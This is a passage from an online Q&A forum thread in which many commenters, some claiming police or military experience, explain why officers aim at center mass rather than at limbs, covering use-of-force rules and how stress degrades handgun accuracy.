regarding the use of issued firearms] (_URL_1_), together with the relevant rules, regulations and constitutional articles. (Warning\u2014Romanian language)\n\nEDIT2: It's disheartening to see how ignorant and dismissive of other societies and viewpoints some people have become. I'm sure our German friends can enlighten you with the Bundes/Landespolizei firearms regulations, which cannot possibly be worse than the former East-German border guards' [rules of engagement] (_URL_0_) in regards to fugitives. That's right, even the minions of a murderous communist state who didn't give a shit about its citizens were instructed to aim at the legs. ", "Correct answers have already been provided. What I can recommend, if it is an option in your area, is to go to a shooting range and try some target shooting with a handgun at a non-moving, man-sized target 15 meters away while calmly standing.\n\nWhile police is, of course, better trained, it will show you how hard it is to hit things with a handgun. I did try, and I was surprised. A lot.", "Beyond what's already been said. All gunshots are considered deadly force. If you are firing a weapon it is with the intent to kill your target before he/she/it does harm to anyone else. \n\nAlso it's nearly impossible to shoot a grazing shot that would disable your opponent. Most likely you would miss and cause severe bleeding and or broken bones.\n\n...Unless you're Vash the Stampede.", "That's why using your gun is considered deadly force. If they wanted to injure, they'd use a baton, stun gun or pepper spray. Once they make the decision to switch to a firearm, it becomes deadly force. ", "Aiming with a handgun in general is part skill and part luck. It's difficult to hit exactly where you are aiming. The best you can normally do is hit the target in the general vicinity of where you were aiming. Handguns aren't meant for accuracy, they are meant for self-defense. Rifles are made for accuracy but that's another topic. \n\nAnyway, this is why cops aim at the chest. A larger target normally guarantees a hit, whereas aiming at smaller targets would result in lots of misses and possibly sending a bullet off into an intended target. I believe watching a suspects chest also helps a cop see their movement better or something like that. It's all about the chest. \n\n**TLDR:** Bigger target safer, smaller target not so much.\n\n\nEdit: Spelling", "This is what I was told when I asked that question to an officer.\n\nYou aim for the largest area you can. This is often the chest. You shoot to kill because if you are shooting, it means you feel it is you or them. \n\nIf you shoot their leg and they are armed, there is nothing to stop them from sitting up and shooting at you while you try to approach them.\n\nIf you shoot one arm, there is always another to hurt you, an innocent bystander, or a fellow officer with.\n\nBottom line, if they aren't dead, there is always a way they can hurt people.", "I asked the same question a few years ago to a friend that is a Police Officer, and he told me center-mass to be sure they stop if they're attacking you.", "You've watched too many movies. \"Shoot him in the arm and disarm him\".\n\nDoesn't work that way in real life. ", "Police (and I believe soldiers, too) are trained to shoot only when they reasonably feel threatened and in imminent danger.  To shoot an armed suspect in the leg or arm does not eliminate the threat - the suspect can still aim and fire back, even if the arm/leg shot manages to force the suspect to fall down.", "You don't shoot to injure or mame.  You shoot to kill.  \n\nReason why:  If you have to unholster your weapon to fire its because your life or someone else's life is in danger and you're about to use said weapon.  If you're aiming for a leg then why do you need to use lethal force?  Why no baton or taser?  The cause of force would be called into question at that point.\n\nThere's escalation of self defense training that military individuals get years of training for that determine when you have justification to pull your firearm and use it.", "You never ever go for a \"wound\" shot, there is no such thing. If I shot someone in the leg there is a high probability that I would hit a major artery, of I don't hit I probably missed completely and that round keeps going.\n\nReally center mass is the safest and most effective way to shoot someone without collateral damage. Its the same reason snipers don't go for a head shot in real life, they go center mass to kill the target.\n\nTl:dr there is no such thing as shooting to wound. If you have a weapon you shoot center mass to kill.", "You shoot to kill. Shooting in the leg isn't a guaranteed \"safe\" shot anyways. If you want to just disable, you taser.", "If you don't need to kill the person, you don't need to shoot a lethal weapon at them.\n\nGuns are fantastic self defense weapons. They are not designed to be less than lethal. Using a gun as a less than lethal weapon is irresponsible and will get you in big trouble in court.", "I'm actually a certified handgun trainer, and along with the usual 4 safety rules that I make everyone learn before I'll shoot with them, I add Rule Zero:  **Everything you've ever seen about shooting and firearms in the movies, television, video games, and most fiction books is completely and totally wrong.**\n\nHandgun shooting is hard.  Really really hard.\n\nI'm a pretty good shot, and I've had a lot of practice (I figure I've done a quarter million trigger-pulls in my lifetime so far, maybe more).  At a recent competition at one of my clubs, I put 4 rounds of full-power .44 Magnum into a 4\" circle on a moving deer target at 25 yards with iron sights.  That's *at a target range*.  \n\nAdd in a little adrenaline, and I can miss deer in the woods at 10 yards with no problem at all.  ", "They are trained only to shoot when a life is in danger. A man with a gun can still fire it when shot in the leg.\n\nAlso, one of the first things taught about guns is only to shoot things you want to kill.", "They're trained to use other methods of restraint/non-fatal arrest. \n\nTazers, batons, hand to hand, even bean bag rounds for really serious events. Their gun/weapon is for serious no-choice things like when their life is threatened. \n\nMost of the time when you hear a cop killing someone it's either they ignored their training or they had absolutely no choice. A gun means death, it always has and always will. Even if you shoot someone in the leg you're taking a good chance that you'll kill them in just a roundabout way. \n\nIn a nut shell a gun is not a handcuff, if you're pointing it at someone you should be ready to kill them. It doesn't matter if you're yelling \"Stop or i'll shoot.\" or \"hold still so I don't miss.\"", "The answer is simple and it has to do with how we, as humans, handle stress. When in a high-stress situation (fighting for your life) adrenaline is pumped into your body. Adrenaline overrides many higher \"useless\" functions and enhances those that will save your life. One of the first things to go are \"fine motor skills.\" An example of fine motor skills would be typing, threading a needle, latching a car seatbelt, or anything with more complexity than \"smash.\" \n\n\n & nbsp;\n\n\nAdrenaline also enhances your large motor skills and makes it very natural and easy to make large movements like swinging your arms, moving your legs, or other similar movements.    As you may have guessed, manipulating the trigger on a firearm (when done properly) falls under fine motor skills. The act of pulling the trigger, holding the trigger, and waiting for the trigger reset (minute click) all play a part in a shooters accuracy. In a high stress situation even the majority of trained shooters revert to \"yank trigger until I'm safe\" mode.\n\n\n & nbsp;\n\n\nAnother handy (depending on your point of view) effect of adrenaline is pupil dilation. Your pupils widen to allow as much light in as possible. This has the unfortunate side-effect of making your weapon sights all but useless. Many shooters report not seeing their weapon sights at all during a firefight. You can imagine how difficult that makes shooting with accuracy.\n\n\n & nbsp;\n\n\nSorry this turned into a bit more than an ELI5. There is so much more to go into, aside from the physiological. I would highly recommend reading Colonel Grossman's \"On Killing\" for a truly in-depth look.\n\n\n & nbsp;\n\n\nInternet credentials (for what they're worth) 0311 in the Marine Corps and now a City LEO. \n\n\n & nbsp;\n\n\n[EDIT] Various, egregious spelling and grammatical errors. Hastily tapping on mobile because I am passionate does not lend itself to proper communication. ", "Can't we all just have lightsabers instead? ", "Get some basic gun experience. You only point a gun at something you want to destroy, there is no \"non-fatal\" super-cop shoulder shot you can train for - it's a gun. Made to kill people. Outside of movies aiming a gun is ridiculously difficult, especially when you are in defence mode.", "Its been covered but I know if I needed to shoot someone, i would minimize any risk of missing. I'd aim for the biggest target. That also happens to have some of the most vital organs. \n\nor I'd aim for the balls if the guy really pissed me off. ", "_URL_0_\n\nThis. It's a bit long, but it's worth getting through.\n\ntl;dr, it doesn't make sense scientifically, legally or tactically.", "Because the only time the gun should be fired is when deadly force is necessary. Like in the instance that a cop is in imminent fear of their own life or a citizens life. When deadly force is required, the idea is to stop the threat at all costs. That includes the death of the assailant if necessary.\n\nFor the situation you describe with delivering a non-fatal shot as appropriate, then by definition deadly force would not be necessary. In this case, the gun should never be fired at all. Instead, the cop should use one of the other tools at their disposal to bring the situation under control (taser, OC, baton, etc.).", "We shoot for center mass for three reasons mostly. First, if your shooting at anyone, it is because your life or the life of others is in danger, meaning they have a weapon, are within its effective range and act like they are going to use it. Secondly, if someone's life is on the line, I want to ensure I hit the target and stop them from whatever it is they are doing. Shooting someone in the leg may not stop them from shooting me (or stabbing an innocent, etc). Finally, center mass is easiest to hit. Pistols aren't as easy to shoot accurately as movies portrait them to be.", "A lot of people severely under estimate how difficult it is to aim in that situation. \n\nYou need to imagine the situation. A cop can be instantly hamstrung by things like body armor, poorly designed holsters, his physique in general. Once a potential threat appears, they need to make an instant decision. Shoot first and ask questions last, or try to calm down the situation. Most cops go for the second option. \n\nIf it is a situation where the assailant is shooting at them, they need to make the decision, fight through the aforementioned hamstrings to get to their gun, unbutton the holster, pull our the gun, aim, and shoot. Also bare in mind that they are doing this while it being very likely that they have never, ever used a gun in the field before. Adrenaline is kicking in hard through the terror of being shot at. And he has the keep the safety of the public in mind. And then you also have the factor in that both of them might be diving for cover.\n\nIn that sort of situation, all you want to do is hit the assailant to stop the carnage. The body is the biggest target. There is a lot of punishment a human can go through, but fact of the matter is the body has a lot of important stuff in it. \n\nIt's a horrible situation to be in. ", "Long story short, you're no where near as accurate as you think. Aim for what you're gonna hit. Unfortunately, thats our chest.\n\nGot a buddy witha side arm? Go go the range with him. Put up some leg/arm sized targets, and shoot them. Even with plenty of time to aim, youll find its a hard task to pull.", "Lethal force is intended to kill. If you're in a situation where lethal force is unwarranted then you shouldn't be using a firearm at all. \n\nThe better question is why aren't they trained to avoid putting themselves in the line of fire until they have fully evaluated the situation and confirmed that the suspect is a danger to others. I know this isn't always possible but I'm thinking about situations like the boy shot in a park and the guy shot in a Walmart because he was purchasing a BB gun. Why didn't the cops maintain a safe distance, take cover, and attempt to communicate with these people verbally or with a loudspeaker. They could have quickly determined that these people were not a threat. Instead they move right up on the perceived threat and start yelling and then feel they need to defend themselves when the suspect turns to figure out why someone's yelling at them. ", "Because real life isn't a fucking video game where you hit the RB button to slow down time and aim for the legs. ", "Police are trained to hit 'center mass'.  This is to allow them the largest target to hit and subdue the suspect.\n\nIf the police have decided to draw their firearms they have already crossed multiple levels of control tactics which ends at lethal. This is called the ladder of force\n\nThe ladder of force is something along the lines of soft verbal hard verbal,soft impact,hard impact, and lethal. \n\nAt the point of th deciding lethal force is needed there should be a perceived threat of serious danger to themselves or others.", "When I was in the police academy a few years back, the firearms instructor told us to always aim for center body mass and shoot until the \"threat\" stops.\n\nEdit: it's not about incapacitating your target it's about making sure you go home at the end of the day no matter what, because the police department and state will back you 100% along the way.", "Honestly...getting shot in the leg is possibly more fatal than anywhere else. If the round in any way comes into contact with the femoral artery...they're dead. Youll bleed out in less than 2 minutes from that. So aiming for COM is the true safe way. \n\nHumans are soft, squishy creatures. We're actually REALLY easy to kill.", "\"A non-fatal area\" is unreliable.  In a recent widely reported shooting the person did not stop attacking the cop until he was shot in the head.", "Because you don't use a gun to slow someone down. This isn't Terminator 2. You don't use a gun until you're ready to possibly take a life. ", "my daddy always told me if you point a gun at someone you aim to kill. ", "My father is a special agent in the FBI and has been in for over 20 years. He was trained, and they were all trained that you do not shoot to wound. You shoot to kill. If you need to pull your weapon on someone and fire it, there is a reason for this. If you need to shoot someone just to wound them, then you shouldn't of shot them to begin with and your ass would be in a world of trouble. ", "Cops are taught to only draw their weapon when they, or someone else, are in imminent danger.  If you are in imminent danger, you shoot to stop the threat as fast as possible, which means center mass.  \n\nIf you think that shooting someone in the leg or arm will stop the threat, then maybe you weren't in as much danger as you thought.\n\nCops are taught to stop the threat.  \n\nSource: cop for 11 years.", "If you're shooting at someone, its because they are putting you or someone else in danger. You don't pussyfoot around when lives are at stake. Even if it was just as easy to shoot someone in the leg, a person shot in the leg can still fire a weapon or do either dangerous things. \n\nIt actually takes a lot to take a person down with a gun. Movies make it look like you shoot a person once and they fall down dead. In reality people can be shot multiple times and still be fully functional for a long period of time. That's why you often see news stories of people being \"shot 20 times by police\". Most of the time, if you fire your weapon you don't stop firing until the person is completely dead or you're out of bullets.\n\nQuestions like these are interesting to me because it shows how little the general public understand police and military tactics. Cops aren't Clint Eastwood, they can't just shoot the guns out of criminals' hands and call it a day.", "The official reason would be \"to eliminate the threat with absolute certainty\". The only way to be absolutely certain is a kill shot. If you shoot a man or woman in the leg, there is no certainty that they will be stopped. If they are stopped after getting shot in the leg, then it proves that the alleged perpetrator did not need lethal force to be stopped.\n\nOnly use your weapon against something you intend to destroy.\n\nThe other reason, which may have been unofficially discussed during my SLED (South Carolina Law Enforcement Division) Weapons training is *dead men tell no tales*....but that's an awfully cynical way of looking at it.", "My cousin who is a cop told me this: police are trained to shoot center of mass to stop the threat.  The chest is the easiest part of the body to hit and the center of mass, therefore aiming there is the best option.", "Source: 10 years Police Officer, Trainer, 5 years as SWAT Officer.\n\n1.**The skill of shooting is actually a difficult skill to master.**\nDespite what Hollywood and video games would have you believe, picking out a place and trying to hit it with a well placed round is very difficult. This is true whether you're shooting a handgun, rifle or shotgun. \n\n\n\nEnsuring that your eyes align with the sights and the target correctly to place your shot well every time is not an easy thing to do. Your hands must be still and steady, your breathing controlled. Squeezing the trigger is a fine motor skill that takes a lot of control to avoid disturbing everything above, while sending the shot. Also, the further away the target is, naturally: it becomes harder and harder to hit it.\n\n\n\n2.**Movement**\nOn a range - with a static paper/cardboard target - many people still struggle to hit what they are shooting at consistently. Even at nominal distances (10 yards or less). Now add in some movement. Real-life shooting engagements are rarely static: one, or more often, both combatants are moving - at the same time. If the shooter is moving, it complicates point 1, above. If your target is also moving, this get exponentially more difficult.\n\n\n\n3.**Stress**. It is a common occurrence during training to run a drill several times, and watch someone perform it to a satisfactory level. Then to put them on a timer and watch everything go to shit. Why? Stress. Putting someone on the clock adds some stress to the situation, and the skills break down. That's why it's done - as a tool to help make them better. \n\n\n\nGun fights are a time competitive event. \"Take your time as fast as you can\" -Wyatt Earp\n\n\n\nNow imagine that the stressor isn't just a timer, it's a literal life/death encounter with at *least* one other person shooting back at you. The stakes of losing aren't a poor time, but severe injury, trauma, and death. Now, under those kinds of stressors the human body does several things:\n\n\n* 1. The body dumps a chemical called Adrenaline into the blood stream\n* 2. The heart rate instantly jumps into the 140 - 200 bpm range. (This is the \"I just ran 400 meters like I was running for my life, and now I feel like I'm going to die - range).\n* 3. The body begins redirecting blood flow to large muscle groups to prepare for a fight or flight response. This means small muscle groups and \"fine motor\" control go to shit. Things that were involved in the skill of shooting (Point #1): being able to hold the gun steady, squeeze the trigger correctly, etc; become infinitely more difficult. \n\n\n\nAlso understand: Police are responsible for *every round they fire*. Bad guys don't have to care - they're bad guys. If a bad guy misses the Police and hits a crowded bus full of Nuns on the way to a Children's hospital - they don't care. The Police - they care. They have to. They're held accountable for all of the rounds that leave their firearm - regardless of who they hit. \nSo the stakes keep getting higher and higher for the Officer.\n\n\n\nSo, with all that goes into accurate weapons firing, and all of the things that compound and make that so much more difficult under stress, anyone who has had any **real and legitimate** training has been trained to shoot for the largest target on the human body: The Chest/ Torso area (also called Center of Mass). It's the largest and easiest area to hit under stress. It just so also happens to contain several important organs (heart, lungs, diaphragm, etc). The Police shoot at the chest as a \"highest chance of obtaining hits\" option, not as a \"highest chance of killing this person\". More on that in a bit.  The arms and legs tend to move much much more often, and much more quickly.\n\n\n\nDo a little experiment: Stand up, and hold your arm at your side. Now - quickly move it straight up over your head as quickly as you can. How fast was that? Now put your arm back down. This time, move your chest 12\" to your left or right as quickly as you can. See how much faster limbs move than the center of your body?\n\n\n\n\n4.**The human body is an amazing machine and can absorb a huge amount of damage.** (This is another area that Hollywood regularly fucks up, big time.)\nIf an officer is at the point where he is shooting at someone, they've exhausted all other options. Tasers aren't an option, batons, OC, firm lectures; everything else has either already failed, or it's waaaaay past that time.\n\n\n\n\nSo, this person has done something that warrants being shot to stop them from doing the bad thing they are doing. If it's time to shoot, then we want to stop that person now. Not, in a minute, not 10 seconds from now now, RIGHT.FUCKING.NOW. So, it would make sense that we would want to hit someone in an area that is most likely to incapacitate them as quickly as possible. We want them to stop doing the bad thing they're doing and re-evaluate their negative attitude, right? Right.\n\n\n\n\nWhere is that area? The Chest/Torso area*. The arms and legs and peripheral. Not only are they hard to hit because they're moving, they are also much less important to the body during a fight. Remember earlier when I said the body starts to pool blood in the major muscle groups for a fight - it pulls that blood away from extremities to make the body able to withstand more damage and survive. In short: People have taken several gunshot wounds or other types of trauma and continued to fight. A determined attacker won't stop because he's been hit in the arm or the leg, and case study after case study has shown that often times bad guys HAVE been hit in the arm or leg first during a shooting, and didn't stop until a more effective round put them down, or in some cases, they were shot in the arm or leg, and continued to fight and killed the Officer anyway.\n\n\n\n\nSo to summarize: Points 1,2 and 3 illustrate that shooting accurately is very difficult under stress, making the Chest/Torso area the easiest target on the human body under those conditions. Point 4 shows us that shots to the arms and legs are not effective at ending the fight, and the Chest/Torso area is a better target option for that. \n\n\n\n\n*I said the Chest/Torso area is the best area for ending a fight immediately. The head is actually the best, however it's not an ideal target either, for the same reason as the arms and legs: it's small and moves a lot.\n\n\n\n\nTL;DR: The Police shoot at the Chest/Torso area because shooting accurately under stress is very difficult, shots to to the arms and legs are not effective at stopping the assaultive behavior. We don't shoot to KILL, we shoot to stop the threat. It's up to God and Medics if they live or die.\n\nedit: formatting", "In the old west they shot the gun out of their hand..  Just sayin..", "Back in high school in Chicago, a cop came to talk to our class and he told us that they actually don't shoot unless they're going for a kill shot.\n\nGun is only supposed to be used when your life or someone else's life is being threatened, requiring a fatal response. At least in Chicago.", "Because hitting a small target with a handgun is difficult, and bullets can travel a long distance, which means if you do miss your target, it could very well hit someone else.", "Maybe you wanna rephrase that question to: Why aren't U.S. cops trained to shoot the leg or a non fatal area?\nAfter the events Ferguson, police officials in Austria announced to the press their officers were actually trained to aim for non fatal areas, contrary to their US counterparts. Also in Germany, if you look at the statistics, in the seldom instances when police do fire their weapons, most of the time people don't get killed.", "Many good comments on here.  Not sure if this has been mentioned (I tried to search but didn't see it).  As everyone else has said you only shoot to kill and stop a threat.  There are serious consequences to firing a weapon.  You should ONLY be doing it in a life threatening situation.  \n\n  One point I don't think (?) has been mentioned is the background of a shot.  Which once again goes to the point of....only shoot if it is life or death.  Bullets go through things.  Doors, walls, windows, and definitely flesh.  No matter where someone gets shot, the bullets might go through a person, depending on size of the gun and a hundred other factors. Officers are trained to watch their background, but realistically it's impossible and with the 2 billion things happening in the matter of literally a few seconds they have too much going on to see the people scrambling in all directions behind a suspect.  The point is if someone gets shot and killed in the background you better damn well be able to defend that deadly force was absolutely required.  If it was required...why are you shooting at an arm or a leg?  You shot an arm but a woman with a child in a stroller was in the distant background and the child was killed.  \n", "I'm assuming\n\n1. Because it's very dificult to actually hit a moving target if you're aiming for a leg or an arm or something\n\n2. Because if you're resorting to using a gun instead of a taser or other method, then the target is (at least supposed to be) so dangerous that s/he must be stopped even if you need to kill him/her", "I know you're asking about the police force specifically, but I wanted to pop in just to say that in military training, practices of this nature do exist. We use acronyms (as most probably know) for everything. The acronym that deals specifically with this is called \"The 5 S's\" (not to be confused with the Ranger's handbook version). \n\nShout, Show, Shove, Shoot to warn, Shoot to wound. It does not say shoot to kill. This means wounding an extremity or other non-vital area of the body to \"disable\" or \"disengage\" the target.\n\nOn a personal note, I've heard many soldiers say they would shoot to kill instead. I believe the excusing of wound can come from a variety of ideals, including, but not limited to: excitement of having a weapon and being \"legally allowed to kill\", racism, stereotypical behavior, lust for killing an individual, psychological disorders, or other personal beliefs or ideals (could also include religion, or culture).", "Because the use of any firearm is immediately an escalation to the use of lethal force. If you then shoot someone with the mental idea of \"I want to make sure that I don't (accidentally or otherwise) kill them\" -- you've contradicted your first judgement that you were justified in using lethal force.  \n\nFor a longer, non-LI5 read, try:  \n[_URL_0_](_URL_0_)", "Well, as long as you don't shoot someone in the dick. Never shoot a guy in the dick.", "Guns are a lethal means of stopping someone. If they want non-lethal, they could go for a tazer, rubber bullets, tear gas rounds, pepper spray or beanbag rounds. I would like to see the use of those increase.", "I always thought it was so the person couldn't press charges afterwards.", "Any time an officer uses their gun, they're told to shoot to kill. However, drawing weapons is much, much more common these days. \n\nI work in a county of 55,000 people and I know deputies who have been on the force 15 years who haven't had to draw once. \n\nIn fact, our former sheriff didn't draw or fire his weapon in the 38 years he served as sheriff. ", "Aside from the difficulty in hitting a moving target under pressure, there's also the point of how much force a situation calls for. A baton, a Taser, pepper spray and the threat of arrest are there to subdue or incapacitate. If guns are drawn, the situation has escalated beyond that. It's a good rule of thumb that you should never point a gun at something you aren't prepared to kill.", "I live in the Netherlands and they're actually always trained to hit the legs here", "Because a guy shot in the leg can still pull a trigger.", "1. No one can reliably hit a leg under any conditions. They shoot center of mass because it has the greatest margin for error.\n\n2. There are major arteries in the leg that, when severed, can easily kill a person in minutes.", "I can think of several reasons; the first being that if someone is behaving in a manner that requires lethal force your going to want to make sure your rounds end up hitting that person. Hand guns aren't the most accurate of firearms to start with, so hitting a small target area such as an arm or leg is already incredibly difficult under perfect conditions. Now imagine you may have to take someone's life, may have just been assaulted or shot at and andrenaline is rushing through your body. All of these factors mean that your aim will be severely diminished. An attempt to shoot an arm or leg is more likely to result in rounds missing and hitting bystanders or surrounding property. \n\nThe second reason is that there is no guarantee a wound to the leg or arm is any less lethal than a wound to center mass. A bullet through your femoral artery will kill you just as much as a bullet through your chest.\n\nLastly, police do not go for \"kill shots\". Police are trained to shoot to stop the threat. Generally this means they will resort to using lethal force to protect their lives or the lives of the public. Unfortuantley the end result is often death but the intent of their authroization and authority to use lethal force is to stop the threat, not kill someone.\n\nIm pretty sure that given the chance every police officer would rather have a suspect peacefully taken into custody than have to take another persons life.", "because it's 100 times more badass to go for the killshot. Looks even cooler if you turn dat gat sideways too.", "1: Leg shots are just as fatal as chest and head shots due to massive amounts of bleeding. Ass shots can be fatal as well for the same reason. \n\n2: In an adrenaline fueled gunfight it is not always possible to aim for a specific body part as easily as it would seem in video games or television. \n\n3: Most (if not all) basic shooting instruction teaches to shoot \"center mass\", i.e. the largest part of the target (chest ) to maximize your chance of hitting the target. \n\nBullets kill things generally in 1 of 2 ways; either through massive trauma to an essential organ, or through blood loss over time. ", "I don't need to write 10 paragraphs to tell you the chest is a bigger target to aim for than the legs and arms. Don't know why people are going in depth on something so simple. I smell gold diggers ", "Most of the time you are using a hand gun. If you have ever shot a handgun you will know that it is pretty hard to shoot at even 30 yards. It is really hard to hit something like a leg or arm if the person was standing still. If the person is running after you or are moving it is really hard. You also have to react within a second. It takes no time at all for somebody to be up on you from a distance of 20 feet and you do not often have time to aim for a arm or leg when a split second can mean life or death for yourself. \n\nWhen you are trying to protect yourself you always aim for center of mass, which is stomach and chest area with multiple rounds. Very few people will survive from shots like this but leads to the greatest change of hitting your target. \n\nIf you think it is easy to hit a leg or arm go to a gun range and see if they have any training classes. Watch these videos and see how hard and difficult gun situations can be. [Video](_URL_0_)", "Many people, including cops and those protecting their homes, have been sued for malicious wounding, where if they simply killed the suspect they would have no issues in court.  Not to mention, shooting someone in the leg does not ensure they will not shoot back and kill you/someone else.  If they shoot,it is because lives are potentially in danger, and they take no risks.  Also, as blablahblah said, shooting is difficult especially with a pistol and a moving target, if your life depended on it potentially, would you prefer to shoot at a 6 inch wide leg, or a 30 inch wide torso?\nA combination of these is why they shoot to kill, and often empty a clip into a suspect, so that the one they shot will not fall, grab a weapon, and shoot back, cannot sue, and to ensure they hit their target.  Officers get a shit end of the deal, they enforce the law, yet people love to hate them (usually because they got a ticket, or caught doing something illegal in the past)  They just want to protect the public, make a paycheck, and return home to their families.  ", "There is supposed to be an escalation of force. In the Army it's generally shout, shove, show, shoot given your rules of engagement (ROE). As for police, when they draw their weapons it should be with the mindset of kill or be killed. Drawing your weapon prematurely can cause incidents that should not have happened. When someone does not pose a life risk to you there's no need to risk taking their life.", "When I saw this on the front page I had to make sure it was 12/1 and not 4/1... Because life isn't a video game, that's why. And it's not only because the arms and legs are hard to hit, it's also because you're less likely to stop the threat that way.", "You shoot because life (someone's) is in danger. In such a situation you don't fuck around. If it's not worth killing the target, you have utterly no business pulling the trigger.", "When an officer shoots at someone, their intention is to stop the threat that the person represents as fast as possible.\n\nThe fastest way to stop a person is to destroy their central nervous system. The best chance at destroying the CNS is shooting at the head. The downside is that the head is a relatively small target.\n\nThe second fastest way to stop a human is to stop the flow of oxygen to the brain. Shots to center of mass are likely to hit the heart  &  lungs (which will interrupt the supply of oxygen to the brain), or spine (which is part of the CNS). This may not be as fast or effective as destroying the brain, but shots landed on center of mass still have a good probability of stopping a human quickly.\n\nShots to other parts of the body may not stop the threat quickly or at all and they are smaller targets, thus decreasing the probability that you will hit them. The combination of smaller target and less effect on the person makes shooting for these areas a poor choice.\n\nAlso, as many others have pointed out, shooting in a stressful situation drastically decreases your accuracy. The physiological effects of adrenaline undermine your ability to shoot accurately. Due to this, shooting for bigger targets is a good idea as it gives you a greater probability that you will score hits.\n\nTaking into account the need to stop a threat as fast as possible, the areas of the body which shooting will cause such an effect, and the decreased ability to shoot accurately under stress - Shooting for center of mass or the head is the most sensible course of action when you are armed and faced with an imminent lethal threat.", "The military takes a similar approach. If you have a reason to pull the trigger, you have a reason to end a life. You never take warning shots and you always aim for center mass.\n\n\nSome simple weapons rules everyone in the military gets drilled into their heads on a regular basis:\n\n\nTreat, never, keep, keep:\n\nTreat every firearm as if it loaded\n\nNever point a weapon at anything you don't intend to shoot\n\nKeep the weapon pointed down range at all times\n\nKeep the weapon on safe until you're ready to fire. \n\n\n\nDefinition of deadly force: deadly force is the force that a person knows, or should know, will cause serious bodily injury or death. \n\n\n\nDeadly force continuum: \n\nVerbal controls\n\nSoft controls\n\nHard controls\n\nDeadly force\n\n\n\n\nWhen deadly force is authorized:\nDefense of self, defense of others, defense of assets vital to national security, defense of  assets nonvital to national security but inherently dangerous to others, escape or evasion", "The problem is that \"non-fatal areas\" are much more difficult to hit, so all officers are trained to shoot for center mass.  It's not like they're going for headshots.\n\nAlso, \"non-fatal areas\" is largely a misnomer thanks to Hollywood, making average people think that getting shot in the shoulder or the leg means you'll be fine.  Watch Blackhawk Down for a visceral idea of what ACTUALLY happens when you shoot someone in the leg.  It can very easily tear the femoral artery and you will bleed out.  \n\nWhen you're getting shot, unfortunately there really are no \"non-fatal areas\" if the bullet hits right.  So that's why you shoot to neutralize the threat.", "Two reasons really. First firing a handgun accurately is very difficult. This is not Call of Duty or any other video game. I would be impressed if even some of the most elite handgun marksmen would be able to shoot a person in the leg when that person is both shooting back and moving.\n\nSecondly and more importantly, the use of a firearm is considered lethal force. I'm not going to explain why a firearm is considered lethal force but because it is considered such it is only used in such situations where lethal force can be mandated. That is to say a firearm should only be drawn when the officer's life or another's life is in danger or something along those lines.", "Because real life isn't the movies and hand guns are not very accurate.  ", "I took a training course cops take when they start learning how to shoot a gun, it was for a class and my professor was close with the police department, and they said they shoot to kill because theoretically if you shoot someone in the leg they can still shoot back at you. There was a virtual simulator, forgot the name, I shot someone in the hand and the butt and the guy said they were still a possible threat. Also the chest is the easiest place to aim for and a chest shot is better than missing five times going for the leg. ", "Being able to accurately hit a target with that level of stress and split second decision making is incredibly difficult. Physiologically your body does things that work against you, tunnel vision, increased heart rate, decreased fine motor control. So it makes sense that you would want to aim for the largest cross section in order to maximize the likelihood that a bullet gets to the target. Also, police are not trained to \"shoot to kill\" they are trained to stop the threat, if it takes killing the suspect in order to stop the threat then so be it. \nThe suspect also has physiological responses that are harming their decision making, and allowing them to continue an attack that any individual of sound mind would have stopped. ", "Every concealed carry course will tell you that you should always shoot center mass and that if you pull your gun, you shoot. Guns are not meant to be used to get people to do something, they are used to kill. ", "Shooting a psycho in the leg wont stop him.\n\nYou train to shoot center mass, and to stop the threat.", "When faced with someone who is going to potentially hurt you, you eliminate the threat. ", "As for firing a warning shot--it's a waste of ammunition.  You might need that round.", "You mean cops don't have a pause mode whilst aiming to target any part on the body!?!  Damnit fallout you lied!", "The reason is that firearms are considered lethal weapons. If an officer feels the need for lethal force is justified, than you don't use that means of lethal force for a non kill shot. It's not about marksmanship, it's about following your use force protocols. \n\nThe short of it is that you don't use a weapon designed for lethal force in a non lethal manner. ", "Police officers aren't 'making a kill shot'.  You watch too many James Bond movies or play too many video games or something\u2026to my knowledge officers aren't even trained with that terminology.  Perhaps an actual officer will clarify that though.  Police and all law enforcement shoot for center mass in order to STOP a criminal as quickly and effectively as possible.  Center mass is the easiest target.  You have NO idea how hard it is to actually hit someone you're aiming at with adrenaline flowing.  It's DAMN hard. If you care to try it, I can recommend a great school here in TX that does actual live fire classes/exercises (with rubber bullets) with civilians in order to learn how to operate under adrenaline inducing situations. I shoot at paper all the time, no problems.  Adding the world into the scenario and and you'll be amazed how fast you loose your ability to function accurately. In other words, if you're not aiming for center mass, you're probably not going to hit a small target, even with training.", "The idea is if lethal force is necessary it better be lethal.  If it wasn't necessary to kill someone you should have had a better option than shooting them.  ", "As a former officer I will say that during training you are taught to shoot center mass due to it being the biggest target.  If you are in a life or death situation your adrenaline will affect your aim thus if you are aiming for a particular body part you will probably miss.  That can get you killed and the first rule of being an officer is to make sure you make it home from the job.\n\nAlso its not easy to shoot in the first place.  Sure at a firing range you cab hit a target 10/10 times, but you factor in the weight of your equipment, the stress of the situation, lighting and whatever else you might hit the target 2/10 times.  However if the target is big enough your chances might increase to 5/10 or more.  Its the same when aiming for the chest or the head.  Also take into account you are accountable for every bullet you fire thus if you aim for someone's arm you might hit someone behind them because you missed.  ", "I always love it when cop shooting incidents make it big in the news and you got armchair commandos talking crap about the cops accuracy.\n\nBro this isn't call of duty.  All you're doing is making it obvious you've never handled firearms in a high stress situation.  Plinking milk jugs down the bank from your deck with a .22 doesn't count.", "If you go for an extremity and miss, you could hit an unintended target and thereby kill/wound a bystander\n\nCenter mass is a larger target and there is less motion than if one were to try to hit a leg or arm on a moving target\n\nAdditionally, there is no guarantee that hitting an extremity would neutralize an armed assailant.  Hitting the assailant in the leg, for example, still leaves usage of the arm and if they were carrying a firearm, they would still be able to operate it.\n\nLast, if you are not aiming for center mass then there really isn't a need for lethal force in the first place...in which case, why are you shooting?\n\ntl;dr accuracy is hard and you shouldn't shoot unless lethal force is necessary", "If you wound them, they can sue.  If they die they can't point out that they were unarmed, sleeping, passed out, hands up etc so cops can walk.", "If you're a police officer and you're drawing your weapon it is a very high intensity situation.  Your adrenaline is pumping and you could become a little shaky.  Add the adrenaline and a moving target and it'd be a tough shot to pull off.  In most cases when an officer is pulling his/her gun it isn't because someone is making a funny joke, their life is in danger.\n\nWhen I was overseas your goal wasn't always to hit a target it sometimes was to get as many rounds down range as possible and someone with the best advantage/cover could make the kill shot.\n\nSome arguments spring \"Well if a police officer is trained to stop the threat then how come they unload a whole clip?\"  I took a criminal justice class and that was explained to me that after a shooting police officers are interviewed on the events that happened.  The officers are all asked the same questions, on of them being \"How many times did you fire?\"  Officers always low ball it, not on purpose they would say \"3 or 4 times\" when really they 